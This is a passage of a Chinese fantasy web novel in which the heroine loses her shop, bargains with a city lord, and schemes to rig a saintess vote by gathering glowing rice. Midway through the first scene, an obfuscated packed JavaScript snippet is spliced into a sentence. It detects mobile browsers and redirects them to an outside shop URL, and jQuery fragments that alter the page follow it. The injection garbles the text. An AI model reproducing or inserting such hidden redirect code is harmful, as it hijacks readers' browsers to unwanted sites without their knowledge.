“哎呀呀,久仰大名,幸会幸会!”游山热情地握住我的手推销起来,“我和死人沟的妖兽们都混熟了,只要打点些好处费,它们绝不会为难咱们。等隧道修好,正好雇它们当沿途护卫,也算给它们谋个正经出路。” 我好奇问道,“一般要打点什么?” 谷阿翁席地而坐,不知从哪掏出干粮分给我们,“承诺不捕杀就是最大的好处了。魔皇陛下向来不对妖兽赶尽杀绝,看得上眼的都收编当坐骑了。” “是啊,魔皇陛下心地仁善,从不像某些仙人那样猎取妖兽内丹来提升修为。” 我狐疑地打量着这两人——话题怎么又绕到钩星身上了? 尾巴烤着火,懒洋洋大笑,“哈哈哈,钩星的臣子们也太操心他的终身大事了,变着法子撮合你们呢。笨蛋照夜!” “讨厌!我只要小青!” “嗯?你说的可是青莲仙人?” 突然,脸色惊惶的谷阿翁猛地捂住游山的嘴,阻止其继续说下去。 我死死盯住二人,厉声问道,“穆青他怎么了?” 谷阿翁见瞒不住了,这才支支吾吾道出实情: 最新公布的仙界口碑榜上,青莲仙人已升至第四十六名。据专门做打榜生意的行家预测,照这个势头,下季度青莲仙人就能冲进前二十,重返上仙之列! 这话如同重锤砸在我心口,震得阵阵发痛。 穆青的计划……看来进行得很顺利。 可这也意味着……他与凤琤公主…… 想到这里,泪水毫无预兆地涌出,我再也忍不住,放声大哭起来。 仿佛我就要失去那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549539|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于我的那朵青莲了。 彻底陷入低沉的我,缩在红色晶盾结成的蛹里不肯出来。谷阿翁急得团团转,就差磕头认错了。可那游山却不怀好意地游说我:不如干脆回映山都去——果然,他和泉礼那帮人是一伙的。 尾巴见我伤心欲绝、不吃不喝只知道流泪,最后也没了办法,只好出主意:不如尽快解决这圣女选拔大赛,然后直接去找青莲。源涡池的仙力取之不尽,能拿多少是多少,拿了就走,以后的事以后再说。 真是烦恼……还是窝在青莲山里不同世事最自在。忽然我又想起煌木连一点“好处费”都没给,就给我安排了“消灭膣藟”这种不可能完成的任务,气得头发都要竖起来! 不能再这样坐以待毙了。 眼下想让环琛和盛放的排名提升难如登天。摆在面前的只有两条路,一是找宏音合作,反正他只需要一个不属于仙界探子的圣女来稳固城主之位;二是走条“邪路”——给两个丫头打榜! 打定主意后,我与谷阿翁、游山告别回城。刚想回浩烈粥铺找两位叔叔商量对策,却见一群人围在铺子门口看热闹。 我挤进人群,只见一个瘦高个正颐指气使地带着手下对阿烈和浩哥说什么。我竖起耳朵细听,竟是房东要涨租金。 “大爷,租金哪有这样涨的?一万变五万,这不是要我们小本经营的命吗!”阿烈还算克制,可他脸上的刀疤已狰狞得像要动手杀人了。 “少废话,合同上又没写不能涨价。你们不服也行,我横竖闲着,以后天天坐你们店里,看谁还敢来光顾!” “我们都是小本买卖,还请钱爷高抬贵手啊。”浩哥攥紧拳头,死死盯着钱爷的那群狗腿子。 周围传来窸窸窣窣的议论声: “这家粥铺的女工,好像参加圣女选拔了吧——” “一个小小女工,怎么可能是圣女嘛——” “就是,钱爷赞助的那位绛霞仙人才有圣女相,听说砸了不少钱呢。” “……怪不得专找他们麻烦,这是挡了人家的财路啊。” 我听得火冒三丈,推开身前议论纷纷的人,大喝一声,“干什么?天翮族的奸商未免太多了点!钱爷还欠着我们二十万利衡币没退,现在又想从我们身上讹钱,还有没有王法了!” “闹什么闹什么!” 这时,一队仙军拨开人群挤了进来。围观群众见这阵势,立刻作鸟兽散。 “不知正在全城搜捕违禁出城者吗?!”为首的仙军厉声喝道。 我心里一紧,下意识闭了嘴。阿烈见我神色有异,大概猜到我这几天不在家,必定是出了城,便与浩哥交换了个眼神,谨慎地没有辩驳。 “仙军大人,仙军大人。”来找茬的那人一脸谄媚地迎上去,搓着手倒苦水,“这是钱爷的铺子,本想收回来给绛霞仙人开个纪念品店。谁知这些外地人不懂规矩,死活赖着不走,惊扰了您,真是对不住……” “怎么,你们是想去聆月司走一趟,还是直接押解回地刑司?” “不敢不敢,仙尊大人,我们都是普通百姓,这就把铺子让出来。”浩哥连忙保证。 见我们服软,这狼狈为奸的两伙人才大摇大摆离去。 真是倒霉透顶——这下连粥铺也没了,正经是身无分文,不可谓不凄惨。 天黑后,我、浩哥和阿烈垂头丧气地回到盛放家中。两个大男人唉声叹气,用不带重样的脏话把天翮城的奸商和助纣为虐的仙军骂了一百八十遍。 "你们先别急,等我消息。" 见我起身要出门,阿烈连忙拽住我——他是见识过我真本事的,生怕我一冲动惹出大祸,"大姐头,千万别在仙军眼皮底下闹事。那个玄珠榜首星允仙人可不是善茬,听说在归德时,他师妹中了招,他眼都不眨就亲手了结了她,残暴得很!" "是啊,天无绝人之路。"浩哥也劝道,"明天我和阿烈先去找点零工,大活人还能饿死不成?" 我拍拍两个叔叔的肩膀,咬着嘴唇道,"我先出去一趟,等我回来再行商量。" 74. 第 74 章 我直奔宏音的府邸,冷静地请门口的天翮军通传。心里早已盘算好要和他做笔交易,甚至特地酝酿了一副冷脸,就等着在气势上压对方一头。 谁知尾巴这个不争气的家伙,远远嗅到月羽花茶的香气,竟"呲溜"一声从我怀里窜出,顺着地面飞快溜到茶桌前,不顾茶汤滚烫,"噗通"就跳了进去,发出满足的叹息。 "哎呀,尾巴,太失礼了!"我慌忙冲过去,手指捏着尾巴的尖儿提起来,对着面无表情的宏音连连道歉,"不好意思,我的……呃……我的这只小老鼠不知怎的特别迷恋这个味道,总是控制不住自己。他平时不这样的。" 尾巴懒得辩驳,挣扎着又跳回茶碗,几乎瘫成了一滩水。 "月羽花天生异香,闻过就容易上瘾。"宏音不疾不徐地品着茶,"好在无害,反倒是上好的香料来源。月羽木尚未枯亡时,天翮城仅靠干花、花茶、花露和染料,每年就能卖出七八亿利衡币。" "多、多少??七八亿?" 宏音嘴角微扬,"嗯,只卖出这些,是因为落花就那么多。" "我的天……要是多种些月羽木,岂不是发大财了?这树该叫发财树才对。" "确实。"宏音轻轻放下茶盏,"落花不过是月羽木最不值一提的一点价值罢了。" 我好奇地尝了尝这传说中价值万金的茶汤,感觉和什么玉梨茶差别不大。只不过这茶入口甘醇,一股幽香随之在五脏六腑间游走,仿佛每个毛孔都透出了清冷如月辉的芬芳。 确实独特,也确实昂贵——不过我倒是没尝出什么成瘾的滋味。 “这么晚来找我,是打算赔罪么,照夜?”宏音一句话把话题拉了回来,语气低沉中带着几分戏谑。 我尴尬一笑,“我是来和你谈笔交易的。” 听完我的提议,宏音想都没想就拒绝了,“选拔月翮圣女是极其庄重严肃之事,月泉司岂能在背后操纵投票?” “可你们原本的计划,不就是设计让我参赛,再一手把我推上圣女之位吗?”我忍不住反驳,“横竖你只需要一个不与你立场相悖的圣女,是不是我都无所谓吧?何必现在又遮遮掩掩。” “哈哈哈,那你可误会咱们的聆月使大人了。” 我抬眼望去,只见月教司掌事月终推门而入,脸上带着意味深长的笑。 “宏音大人当初想请你参赛,可不是看上你那真假难辨的本事——”月终斜睨了宏音一眼,“而是因为你长得太像棠梨。他不愿让棠梨以外的人成为圣女,仅此而已。啧啧,多么固执的念想。” 我心头一震,谨慎地打量着宏音。原来这位聆月使竟是棠梨的狂热追随者…… ……当年那场害死棠梨的宫变,该不会就是他策划的吧? “嗯,月终所言倒还算中肯。”宏音淡然接话,“所以,我拒绝与你交易照夜。你可以走了。” “好吧,我也料到会这样。我是来接焉耆的,几天没见,有点想它。” 月终黑着脸出门,折返时拎着一团黑乎乎的东西扔给我,满脸嫌弃,“脏死了,还特别烦人!赶紧带走。” 焉耆委屈地呜咽着,像是在埋怨我这个不称职的主人。我生气月终说焉耆臭,厉声反驳,“焉耆比你们天翮城某些人干净多了!它至多臭在表面,而有些人,是心肠发臭!” “好一张利嘴!就你这没教养的样子,八辈子也当不上圣女!” 见月终气得脸色发白,我反倒舒坦了,捞起湿漉漉的尾巴撇嘴回敬,“谁稀罕似的!白送我都不要!告辞!” 回去的路上,尾巴又开始数落我嘴笨脑笨死心眼儿。他分析,宏音其实很好说话,只不过在等我服软说几句好话,若我撒个娇装个傻再挤出几颗亮晶晶的眼泪,这个面冷心软的男人说不定就改主意了,会与我合作了。 “什么嘛,我跟他一点都不熟好不好!” “看在棠梨的份上,宏音对你本就有三分天然的好感。你忘了,第一次见面他就送你那么贵重的衣服,虽然别有用心,但也算下血本了。” 仔细一想,好像真是这么回事。不过——我讨厌他们敲诈我勒索我,所以,不合作就不合作,我自有别的办法! 是夜,冬雨绵绵不绝,给这座只有春夏的南国城池带来料峭寒意,呵出的气息在空中凝成白雾。 阿烈和浩哥不愧是曾在阴影中谋生的人,带着我灵巧地避开城头守卫的视线,悄无声息地溜出了城。 两个时辰后,我们在隐蔽的山洞里与游山、谷阿翁再度会合。 四人面面相觑,一番寒暄后,他们齐声问我为何要在这雨夜冒险前来。 “简单说,我们要帮盛放——或者环琛——当选圣女。” “……咱们几个穷得叮当响,这目标是不是太宏大了?”阿烈蹙眉道,“就算去打劫钱太多,咱们也未必应付得了。” “想哪儿去了。现在仙军驻守,又有星允盯着,绝不能轻举妄动。”我轻抚着焉耆的脑袋,目光扫过众人,“月泉司倒会做生意,一颗闪光稻卖五十利衡币,和抢劫有什么两样?他们能赚这个钱,我们也能!我曾读过地理志,对三界哪座山里有什么门儿清,闪光稻的原产地就在死人沟。这种稻谷遇险时会瞬间爆发强光,企图晃瞎敌人。虽然没什么杀伤力,但采摘时还是要小心。” “大姐头的意思是,既然买不起,我们就自己去采?反正谁也分不清闪光稻的来历!”浩哥摩拳擦掌,“这计策妙!” “为了避免怀疑,我要把十个候选人的票数无限拉近。十进四的阶段,就把票数控制在绛霞仙人附近。”我攥紧拳头,“始终与她只差一票!” “……乖乖……照夜啊照夜,原本只得罪钱爷一个,这么干可是连宏音也一并得罪了。”谷阿翁捋着胡须沉吟,“不过……只要保住城主之位,只要圣女不是绛霞,对他都有利。说不定会睁只眼闭只眼呢。” “正是。”我转向游山,“你熟悉死人沟的路,就由你带路。钱爷之前买了五十万颗闪光稻,约莫二十五斤。我们按人均五十斤准备。” 谷阿翁不愧是经商几十年的人,我话音刚落他就报出数字,“准备四百五十斤闪光稻,约合两亿两千五百万颗。话说,就算能找到这么多,运出来也是个大问题。” 我拎起焉耆,凝视它翡翠般的眼睛,“这个任务就交给你了。死人沟里妖兽虽多,但我知道你能号令它们,对不对?” 小黑狗“嗷呜”一声,听不出情绪。 “焉耆说,‘那还用问?不听话的直接吃掉’,”尾巴懒洋洋地趴在我头顶,轻抚焉耆的耳朵,“不过我觉得不必这么麻烦。死人沟里鸟儿那么多,让它们从空中投放,神不知鬼不觉。” “鸟儿会听焉耆的话吗?” “嗷呜!嗷呜——” 篝火对面,四人直勾勾盯着我对着小狗和尾巴自言自语。除了游山,其他人都已见怪不怪。 尾巴捏着嗓子学起了焉耆的语气,“焉耆说,‘干!不听话就吃掉’!” 我叹口气,“……友好一点嘛。我知道有妖兽看守闪光稻,别打架。还有,焉耆你是个小崽子,不准说脏话。” 焉耆兴奋地摇着尾巴,短促地叫了几声,突然窜到浩哥腿上。 “服了……这小笨狗明明吃素,怎么就迷上腌咸鱼的臭味了。”尾巴打着哈欠,顺着我的辫子滑下来摊成一团,“焉耆说,妖兽都听魔皇号令,魔皇听你的,你听它的。所以没有哪个兔崽子敢不听它的话。不过作为补偿,它要这个仆人一起去,路上有吃有喝有人撸,美得很。” 我一脸怀疑,“尾巴你该不是在糊弄我吧?焉耆就叫了两声,你翻译出这么长一串!” “啧,你信我,我能骗你嘛?”尾巴轻笑一声,“对了,动作要快。今年冬天特别冷,雨水又多,再不去闪光稻可就冻坏了。” 我大手一挥,“行,即刻出发!” “等等等等——”游山难以置信地看着已经整装待发、神 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四下重归寂静。我与谷阿翁对坐片刻,他忽然神色凝重地问起玉山与归德之事的真相。 看谷阿翁的神情,我便猜到——迩松回到映山都后,定已将归德发生的一切禀报给了魔皇的重臣。 “听说那怪物是被一股强大力量消灭的,明明是个强敌,却像束手就擒般任烈火吞噬。”谷阿翁轻叹,“照夜,当时你就在现场,对吗?” “……是我亲手了杀了舒岸将军,我必须履行与他的约定。”我擦去模糊视线的泪水,哽咽道,“所以我心里难受啊,愤怒啊……他们拼死拖延时间,阻止无相孽蔓延到化西和天翮。可到头来,化西人却指责他们为夺权屠杀归德百姓,天翮城更是全民狂欢,仿佛那些牺牲和苦难从未发生。” “英雄的事迹总会有人传唱,真相也终将被铭记。”谷阿翁也潸然泪下,半晌,他眨眨眼,压低声音,“照夜,有件事虽只是猜测,但我来之前,无意间听到原途等一众要臣们在讨论两件事,我想,虽无凭无据,但……还是要告诉你才行。” 见谷阿翁神色严肃,我意识到他所言可能十分重要,便立即将耳朵凑近细听。 “第一,仙界执意要夺取玉山南,实则是觊觎天翮族的宝藏。第二,迩松与北祐将军被撤职后,偶然在月下州禁宫中听到消息——那个散布怪物卵壳的''秽道人'',很可能还潜伏在化西或天翮。” “啊?这么隐秘的事儿,他们也能偷听到?” 谷阿翁重重垂首,叹息道,“听说人君临终前已将舒岸将军的旧部妥善安置了,以防新君清算。照夜,你多少明白人界的权力更迭向来充满血腥。” “我明白。如今舒尚继位,再多挣扎也是徒劳。唯有一件事不能放弃——必须消灭那个怪物,无论多难。” “唉,我总觉得这天翮城的水,比表面看起来要深得多。” 谷阿翁的叹息让我心头沉重。我虽然萌生退意,但追查秽道人之事刻不容缓。这个酿成无数惨剧的罪魁祸首,必须揪出来! 谷阿翁应要留下接应浩哥等人,我便独自返城。尽管城中驻军严密,但我翻墙回来竟也没有惊动他人,哪怕我身形如此醒目。 日子开始变得有些寡淡。浩烈粥铺被钱太多收了回去,却压根没开什么绛霞仙子纪念品店,反而堂而皇之地卖起了闪光稻。 当我看到“闪光稻特价,六十利衡币一颗”的招牌下人群蜂拥而至时,心里满是困惑。排队期间,几个热衷打榜的天翮族人七嘴八舌地聊起了钱爷的这桩新买卖。 没想到啊没想到,投票才开始没几天,月泉司售卖的闪光稻竟开始限购了。只因今年气候异常,本就稀少的闪光稻严重欠收。钱爷早先囤积了大量存货,如今见绛霞仙子票数遥遥领先,便开始处理手中多余的库存。 我大为震撼——这个钱太多还真是无孔不入,太会做生意了! 75. 第 75 章 我转念一想,这唯利是图的奸商居然只涨价一成,实在不像他的作风,倒像是担心存货积压会亏本。毕竟这玩意儿的使用价值几乎为零,除了若鱼,也没哪个动物爱吃。 这样也好,钱太多既主动将闪光稻散了出去,反倒省了我为混淆闪光稻来源而苦恼。等焉耆他们得手后,我们的行动也能更加隐蔽。 真是天助我也! 闲来无事,我便天天蹲守在附近,观察闪光稻每日大致的出量。这日我正冒雨躲在大树后,却遇上个熟人。 无悔——身为鲛人也过分好看了,浑身透着不食人间烟火的仙气。 “观察你好几天了,偷偷摸摸、鬼鬼祟祟,莫不是除了有自言自语的癔症外,还得了精神分裂症?” “真是的,你们当大夫的天天不务正业,盯着我做什么?很闲吗?” 无悔轻叹一声,在我身旁坐下,“什么大夫啊……桃夭呢,根本就不懂医术,全是骗人的。” 我顿时一惊,噌地站起身,差点把纤瘦的无悔撞倒在地,“好啊!你们不仅是骗子,还是庸医!完了,我大师姐可怎么办?!” 无悔冲我翻了个白眼,撑着伞轻叹,“走吧,知道你身无分文了,带你去吃点好的。” 沿着朝月道缓步上山,无悔好心给我买了天翮族的传统小吃。虽然肚子不饿,但秉持“来都来了”的原则,我还是吃得津津有味。 “啊?原来你们是用澜歌树的叶子来治病的?” 我这才想起《鲛人略志》中有记载,鲛人族的圣树确有疗愈之效。当然,我对《鲛人略志》中的记载抱有一定疑虑,因我目前见到的三个鲛人,只在耳后缀着少许鳞片,并非全身覆鳞。 “这可是商业机密,说出去我们神医的招牌就砸了。”无悔狡黠一笑,“你可知道,光靠这一招,每年就能为天翮城带来不少收入——病人总要排队、要住宿、要吃饭吧?” 乖乖,天翮族人还真是会做生意。 谈笑间,无悔这位兼职庸医的奸商把我带到了目的地:聆音石府。 “别瞪我,你不也正想来么。”无悔瞥了眼早已趴在我头顶四处张望的尾巴,轻笑一声,“上次见你的宠物对月羽花茶格外痴迷,我好心送你一程。” 我强压心头不快,低声问道,“无悔,我想买点月羽花,你知道哪儿有卖吗?什么价钱?” 无悔白我一眼,熟门熟路地引我走进会客厅,“别说月羽木已经枯亡千年,就算还有干花留存,那也是用一朵少一朵的珍品——唯有历代月翮圣女才配享用。你还想买?不如早点洗洗睡吧。” “……我的天!这么珍贵的东西,宏音前两次居然拿来给我的尾巴泡澡?真是暴殄天物!早知如此我该多喝几口的。” 无悔将我送到门口,挥了挥手,“宏音大人,人顺道送来了。我去给信女们看诊了。” 那位狡猾的冷面城主依旧身着象征身份的深蓝长袍,而他早已备好了月羽花茶——将尾巴钓成了翘嘴鱼。 这不,尾巴呲溜一声扑进茶碗中,舒舒服服瘫成一团。 “请问城主大人召我何事?” “没什么,只是好奇你翻墙出城做了什么坏事。” 我一时语塞,瞪大眼睛跟在宏音身后,“你、你知道我偷偷出去了?” “你大概还不清楚我的能力。”宏音悠然落座,轻抿茶汤,“与百目仙人的术法相似,我的仙力有极强的附着力——凡有雨滴落处,皆能感知动向。有雨声的地方,就有我的耳目。” ……我慌忙拍打身上的雨水,一股寒意窜上脊背。原以为仙界拓印云南印供百目监视行踪已够可怖,没想到宏音的能力更令人防不胜防。 我嘟囔道,“你这么厉害,怎么不请仙帝封你个‘百音仙人’?” “……心情不好时,嘴巴倒挺坏。” 我恨铁不成钢地把尾巴从茶碗里捞出来,塞进青莲瓶,“找我到底什么事?我又不是大闲人。” “闲来无事,邀你下盘棋,就当抵了茶钱。” 尾巴从瓶口挤出半个脑袋,仔细端详宏音,“照夜,让我跟他过几招。” “你这个家伙,你干脆住这儿得了呗。” 尾巴不理会我的吐槽,径自跳到宏音面前,见对方亦在打量自己,笑道,“吃什么醋嘛,我只是觉得这人的棋路——有些熟悉。” 我清了清嗓子,看向好整以暇的宏音,心中飞速盘算起来。这个男人的真实意图始终笼罩在迷雾中,没有表露出来。 他想对抗仙界施压,最大限度维护天翮城的自治权,为此他需要一个只听命于自己的月翮圣女来彰显天翮族坚不可摧的信仰,用作向仙界施压的筹码。 可能够一手遮天的聆月使大人,又何必忧心圣女选拔大赛,他有无数种手段操控选拔,不是么。 所以他到底在想什么呢?如果说他作为这帮诈骗犯的主谋之一,却并不需要借用我的力量,那他意欲何为? 想到这里,我不禁抿了抿嘴——这位中年叔叔,该不会真是睹照夜而思棠梨吧。 不行,绝不能一直被宏音牵着鼻子走。这些日子我憋屈得太久,满肚子火气总要找个出口,非得讨回些好处才能平复心境。 “那个,宏音大人,”我故意眨眨眼,摆出天真模样,“听说天翮族藏着不得了的宝藏?要是我的尾巴赢了棋,能不能让我开开眼界?” 尾巴无语地贴上来,软绵绵的光球像在捏我的脸,“我真服了!哪有人像你这样把坏心思全写在脸上?那可是宝藏啊!” “嗯,可以的,照夜。” 尾巴的“嘴巴”差点掉在桌子上,湿漉漉的光团仿佛比平时里还黏手,“不会吧?这样都行?” 得到宏音首肯,我满意点头,“那走吧,还是去玉轮湖边的赏景台下棋?” “既然你喜欢,便依你。”宏音望着帘幕般的尘雨,幽幽道,“万物归尘,玉轮恒远,这世间最留不住的,便是昨日。” 我可没心思听宏音伤春悲秋,途中便悄悄向尾巴炫耀我的战术:真诚才是必杀技。尾巴连连晃悠,不服气地猜测所谓宝藏要么是假的,要么根本不值钱,故而宏音才会答应得如此爽快。 “会不会是他最近苦练棋艺,自觉必胜无疑?” “拜托!你这个笨蛋,干嘛当着人家面说这个!”尾巴气得直拽我头发,“不过我绝不会输!虽然他很强,但我——绝不会输!” 我毫无顾忌地继续嘀咕,“嘿嘿,尾巴你要是赢了,我再讹他一壶月羽花茶给你泡澡!” 走在我身旁的宏音闻言,侧首望来,轻笑道,“好啊,照夜。” 尾巴打了个哆嗦,“呃……这男人是不是对你太好了?好得简直有些谄媚之态了呢……” 我迎着细雨冲宏音嫣然一笑,声音穿过滴滴答答的雨幕,“就当是——沾棠梨的光吧。” 观景台上,那只石雕小兔依旧安静地伏在棋盘边,仿佛一直在等候着对弈之人。 尾巴亲自上阵与宏音斗棋,我倒有些多余,成了闲人,只能趴在栏杆上望着玉轮湖出神。 雨中的玉轮湖更显幽静,无数小雨涡啪嗒啪嗒打在澄澈的湖面上,倒像是有人在拨弄琴弦一般,悠然奏响一曲单调却悠远的曲子。而那湖中央的高台之上,耸立着一个大圆盘。 那应该就是天翮族圣女用以感召月辉的月翮壁了。 据说壁上铭刻着古老失传的文字,是先祖留给后世的启示,或许也藏着飞升奔月的秘密。 要我说,《太愚行记》这本书有时真像在给孩童讲的故事。著书人总爱描绘三界最绚烂美好的景致,哪怕明知是“戏说”,也往往给予了温情的评述。在这位笔者眼中,一心想修仙奔月的天翮族浪漫而纯粹,即便那目标本身或许只是幻梦。 不知过了多久,久到天色全黑,雨也悄然停歇。我凑近去看尾巴与宏音的战况。 结果简直惊掉下巴——不对,是惊掉尾巴:尾巴零胜。 “你又输了,照夜。”一子定局,宏音面无表情地瞥我一眼,“你要知道,战胜过去的自己本就是极难之事。” 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“气死我了!宏音定是请了高人特训,不然怎会把我的棋路摸得一清二楚!可恶!可恶!” “好了好了,又不是什么大事,我看你都气得要抓头发了……呃,话说尾巴,你有头发吗?光秃秃的呢……” “你才光秃秃!”尾巴气得浑身的光晕像是炸了毛一般,并示威一般扯着我的眼睫毛,虽然毫无威慑力。 宏音推门而入时,正见我和尾巴互相拉扯——他揪着我的头发,我也没落下风,将他扯成了长条。 “……平日便靠这个消遣么照夜?为何会与自己的仙力起了争执,倒是闻所未闻。” 我慌忙将尾巴打了个结塞进瓶子,看向走近的男人,“开门见山吧,省去试探的环节,大家都轻松。差不多该睡觉了。” “你倒实诚,实诚得近乎……傻气。” “是是是是。”我没好气地瞪向宏音,“所以呢?仙界费尽心思想要玉山南三城,是不是冲着天翮族的宝藏来的?” “嗯,既是宝藏,谁不想要。” 见宏音神色认真,不似说笑,我飞快在脑中翻阅读过的种种杂记,试图寻得有关这宝藏的蛛丝马迹。 天翮族是个古老得近乎神秘的民族。他们世代信奉月亮,会选拔能感应月辉的女子奉为月翮圣女。他们的信条是“月辉之下,皆为族人”——只要你也信仰圣女,便能在沐月仪式中获得天翮族的身份。 当然,据我近日得知,如今想成为天翮族人其实简单得多,只需在此地投资一万利衡币,就能去办理入籍手续。 “所以宝藏究竟是什么,值得渊寂如此大费周章?” 宏音微微偏过头,神情略显疲惫,“不知道,照夜。” “……你该不是在耍我吧,城主大人兼聆月使?” 宏音低垂眼帘,轻轻摇头,“我没有骗你,照夜。确切地说——至今无人参透宝藏的秘密,究竟是什么。” 夜深,雨幕未歇。 从高处望去,整个天翮城错落有致的灯火沿着翮山蜿蜒而上,直至山顶。光晕在雨中晕染开,虚实难辨。 玉轮湖畔,月翮壁静静矗立,暗淡无光,仿佛一块失去灵魂的巨石。岁月磨去了它凌厉的棱角,只剩温润的弧度——就像一个被时光磋磨掉所有锋芒的中年人。 天翮族的秘密就刻在这月翮壁上,人尽皆知。这里甚至无人看守,天气晴好时,常有孩童在高台上嬉戏。当然,胡乱涂画是绝对禁止的,但棠梨是个例外——她曾在这冷硬的石壁上留下自己的墨迹,一只小兔子,还有一只大王八。 “宝藏的线索就在这里,却始终无人能解。”宏音轻抚着斑驳的石刻,低声呢喃,“先祖的文字,我们已经遗忘了。再没有人能读懂这些古老的铭文了,就连历代圣女圣司……也束手无策。” 原来如此。因古文字断代失传,后人才无法破解天翮族宝藏的秘密。 76. 第 76 章 至于墙上那些歪歪扭扭、复杂如孩童涂鸦的字符——我自然也是一个都不认得。 “文字断代……是因为怪物肆虐吗?” “……看来你从某人那里,听过这些未被载入史册的往事。”宏音撑伞仰望着石壁,声音仿佛融进了雨滴里,“每隔几百年,天翮族就会遭遇一次灭顶之灾。这片土地上的怪物从未被真正消灭,即便以烈火净化,也只能换取百年安宁。” 这一刻我突然明白了——明白了棠梨为何要执意回归人界,寻求月下州的庇护。 身为通晓天翮族历史的圣女圣司,棠梨深知这片土地即将迎来灾难。她需要借助月下州的力量,保护自己的故土与族人。 可惜啊……这样一个心怀大义的女子,最终却葬身于人界的权谋纷争之中。 那些妄图颠覆皇权的逆党,勾结了极端狂热的圣女信徒,策划了那场所谓的“宫乱”。他们企图以刺杀舒岸为导火索,使玉山南与月下州彻底离心反目,挑起战端,从而将舒仲从皇位上拉下来…… 如今,有些人的愿望终于得逞了——仿佛只是某些碍眼的人消失了,如此而已。 “这上面究竟写了什么秘密?如何飞升到月亮上去么?” 宏音闻言,竟罕有地大笑出声,几乎笑弯了腰。半晌,他才半是叹息半是自嘲地说道,“若愿望可以轻易实现,信仰便显得廉价了。飞向月宫?真是天真……哪怕是仙人,至今仍未寻到黑海的边界,遑论探月。” “……”我望着被大雨笼罩的幽深天幕,轻叹道,“比起你的讥讽,《太愚行纪》的作者反倒更温柔通透些。他是眼中装着日月星辰、并为之欣喜的人,更难得的是,他从不妄想将那些美好据为己有。”说到此处,我摇摇头,轻抚着泛起微光的青莲瓶,低语道,“欣赏却不占有,这是何等的胸怀。” 短暂的交谈就这样戛然而止了。我与宏音之间,终究未能达成任何合作。 接下来的日子平淡得令人昏昏欲睡。距离圣女选拔大赛的初赛只剩七日,届时将从十位参选者中决出四人进入决赛,我无所事事,终日最大的工作量便是:睡觉。 这天,我正在盛放家中蒙头大睡,忽被一阵敲门声吵醒。开门一看,竟是张讨厌的面孔——虽说出尘绝色,但是讨厌。 “出了这么大的事,你居然还在睡大觉?” “怎么了?天塌了?” 无悔一脸凝重,看得我浑身发毛。他也不客气,几乎是将我拎出了门,一路拽到了中心广场。 接连下了几天绵绵不绝的冬雨,今日终于放晴,大广场上人山人海,乍看还以为发生了暴动。我仗着身形优势,硬是从人群中挤出一条路,钻到了最前方。 只见那十条巨大的若鱼通体金光灿灿,在阳光下耀眼夺目,简直要闪瞎众人的眼睛。 云雾屏上正滚动显示十位候选圣女的票数,前三名分别是绛霞仙人、盛放和环琛。 妙的是,盛放仅落后绛霞仙人一票。 更妙的是,不知何时起,十位候选人的票数差距已缩小到个位数。 我心情大好,几乎想拍拍肚皮庆祝——没想到焉耆那小笨狗号召力这么强,等它回来非得好好夸夸它! “说!是不是你干的?”无悔将我拉出人群,压低声音质问,“除了你,我想不到谁有这本事。” “是我干的——我在梦里干的。”我大大方方承认,“我梦见自己成了亿万富翁,买光了月泉司所有闪光稻,发誓要狠狠把那些若鱼喂成胖头鱼。” 无悔拧着眉头,暗嗤一声,“你是不是笨蛋!今年开售前,月泉司就公布了闪光稻总数——一共就一百万颗!现在倒好,凭空多出这么多……我的天,若真是你干的,赶紧逃吧!你破坏了选拔规则,仙界正好有借口终止这场‘荒诞且缺乏公信力’的圣女选拔活动!” 我瞬间惊出一身冷汗。 可恶,失策了!没想到月泉司竟提前公布了可用投票总数。怪不得钱太多只买了五十万颗闪光稻——只要绛霞仙人有五十万票,便足以稳居第一。也难怪他急着将囤货以“良心价”抛售:既然胜券在握,自然要尽快兑现,免得砸在手里。 我心里正发慌,便见仙军与天翮军已开始四处搜查,誓要将那“破坏选拔”的祸首揪出来。我吓得呼吸都滞住了,本能地躲到无悔身后,躲避着上前盘查的兵士。 “怎么又是你。”溟牙拨开手下走上前来,竖瞳不耐地扫了我一眼,连他袖中的蛇都显得也面目可憎,“你是不是会分身术,阴魂不散。” “你才是!” “我奉星允将军之命严查舞弊之徒。”溟牙冷笑,“胆敢破坏圣女选拔——抓住了,就该剥皮下锅,煮熟捞出,撒点薄荷碎下酒。” 论起嘲讽,无悔可从不落下风,“那溟牙仙人还不快去抓人?免得一无所获,耽误了您喝酒的雅兴。” 溟牙嗤笑一声,不理会无悔的讥刺,反而凑到我耳边嗅了嗅。在我一巴掌拍开他的蛇之前,他已迅速退开两步,咧嘴笑道,“最近正馋些腻口的,油油润润,拿来解馋正好。” 无悔将我往身后一拨弄,“这么馋,还喝什么酒,直接拎着油壶喝岂不痛快?” “哼,懒得与你们斗嘴。”溟牙收起笑容,面色转冷,“仙帝不日将亲临观赛,诸位最好安分些。若触怒天颜,可就不是耍嘴皮子能了事的。告辞——” 见溟牙转身欲走,我急忙追上去拉住他的衣袖。袖中的蛇吓得往里猛缩,大约是被我之前的“打结手艺”留下了阴影。 “你这段时间是不是在化西城?搜查可有结果?找到怪物的踪迹了吗?” “嗯?与你何干,你什么身份也来打听这么些事儿!” “我也是仙民,自然关心仙界安危。”我眨眨眼,扯出个天真的笑容,“再说化西城的大湖那么美,若是安全了,我还想去买个小房子住呢。平日赏景钓鱼,多惬意——” 溟牙不耐地甩开我的手,“你倒会享受!省省吧,化西如今气候诡异,焚风炙烤,数月无雨。还钓鱼?过不了多久,怕是连地都得改种了!” 说罢溟牙便带人离去。听了这话,我倒有三分心安——碍于百目仙人无处不在的“法眼”,有些话终究不能明说。 算了,既然事已至此,补救也来不及。若真要被问罪下狱,便只能使出逃跑的绝招了。 “老实交代,你究竟使了什么花招操纵了选票。”无悔凑过来,笑得一脸狡黠,“不然我就把你身怀鸿珠仙丹的事昭告天下。” 我狠狠瞪这鲛人一眼,“……好吧,你跟我来,我悄悄告诉你。” 可恶,又一个欺负上门的!我定要让他尝尝厉害! 